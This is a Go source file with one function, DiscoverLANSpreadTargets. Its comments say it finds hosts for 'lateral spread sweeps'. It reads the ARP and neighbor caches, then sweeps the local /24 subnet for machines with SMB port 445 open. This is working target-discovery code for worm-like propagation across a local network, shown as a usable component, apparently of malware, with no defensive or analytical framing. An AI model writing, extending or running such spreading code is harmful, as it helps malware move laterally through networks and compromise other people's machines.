package deploy

import (
	"net"
	"time"
)

// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
func DiscoverLANSpreadTargets(maxHosts int) []string {
	if maxHosts <= 0 {
		maxHosts = 64
	}
	if maxHosts > MaxSubnetScanHosts {
		maxHosts = MaxSubnetScanHosts
	}

	targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
	if len(targets) < 3 {
		ips := getLocalIPs()
		seen := make(map[string]bool)
		for _, t := range targets {
			seen[t] = true
		}
		for _, ip := range ips {
			if !isIPv4(ip) {
				continue
			}
			subnet := getSubnet(ip)
			if subnet == "" {
				continue
			}
			for i := 1; i < 255 && len(targets) < maxHosts; i++ {
				candidate, ok := ipv4SweepHost(subnet, i)
				if !ok {
					break
				}
				if candidate == ip || seen[candidate] {
					continue
				}
				conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
				if err == nil {
					conn.Close()
					seen[candidate] = true
					targets = append(targets, candidate)
				}
			}
		}
	}

	localSet := make(map[string]bool)
	for _, ip := range getLocalIPs() {
		localSet[ip] = true
	}
	var filtered []string
	for _, target := range targets {
		if localSet[target] {
			continue
		}
		filtered = append(filtered, target)
		if len(filtered) >= maxHosts {
			break
		}
	}
	return filtered
}